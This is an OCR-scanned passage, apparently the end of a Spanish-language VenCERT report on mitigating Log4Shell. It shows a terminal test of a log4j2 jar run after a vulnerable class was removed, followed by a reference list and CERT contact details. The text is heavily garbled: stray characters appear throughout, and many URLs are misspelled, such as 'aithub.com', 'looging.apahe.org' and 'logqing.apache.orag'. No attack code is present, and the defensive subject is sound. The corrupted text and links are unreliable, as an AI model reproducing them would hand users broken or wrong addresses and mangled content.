TRACE U ring but no MBea C g 'o apache. 0 4 ompone .S ngBuffer

Ademas volvemos a ejecutar la prueba inicial con log4j2 para descartar que el
marco de registro presente fallos a causa de la ausencia de la clase eliminada.

mgueIwaEDIan; ~

Archivo Editar Ver Buscar Terminal Ayuda

root@debian:/home/miguel/com.miguel.log4j2/target# java -jar com.miguel.log4j2-1.0-SNAPSHOT-jar-with-dependencies.jar

18:51:22.027 [main] ERROR App - Prueba LO0G4J2 VenCERT

root@debian:/home/miguel/com.miguel.log4j2/target# [i
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https://looging.apahe.org.log4;

Log4shell-vulnerable-app:

https://aithub.com/christophetd/log4shell-vulnerable-app
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https:/ /www.vogella.com/tutorials/ ApbacheMaven/article.html

Building and Installing Log4;j:

https://logging.apache.org/log4j/log4j-2.0/build.html

Configuracién de proyecto MAVEN log4j2.xml:

https://programmerclick.com/article/68902214833/

Configuracién y uso de Log4j2:

https://proarammerclick.com/article/2824965137/

Cbémo instalar apache maven en Debian 9 2022:

https://es.joecomp.com/how-install-apache-maven-debian-9

Log4j 2 Configuration Example: https://sematext.com/blog/log4j2-tutorial/

)
(7))
0
>
=
0
[°)
0
£
[
0
[Pl
=

Configurar Log4j2 en Netbeans:

https://elbauldelprogramador.com/configurar-log4j2-en-netbeans-un-

logger-para-java/
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. CoOmo instalar Java en Debian 9 Stretch:

https://chachocool.com/como-instalar-java-openjdk-en-debian-9-

stretch[

- Apache Log4j:

https://logqing.apache.orag/log4i/2.x/log4j-users-quide.pdf

- Cbmo protegemos a los usuarios de sematext:
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https://sematext.com/blog/log4shell-response/

- Log4jy Log4sSell:

] https://www.newtral.es/que-es-log4j-log4shell-vulnerabilidad-ataques/
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Informacion de Contacto

Comunicate con nosotros mediante los distintos medios electrénicos:

e 0416-630-36-54 . WWW.SUSCERTE.GOB.VE

® INCIDENTESVENCERT@SUSCERTEGOBVE
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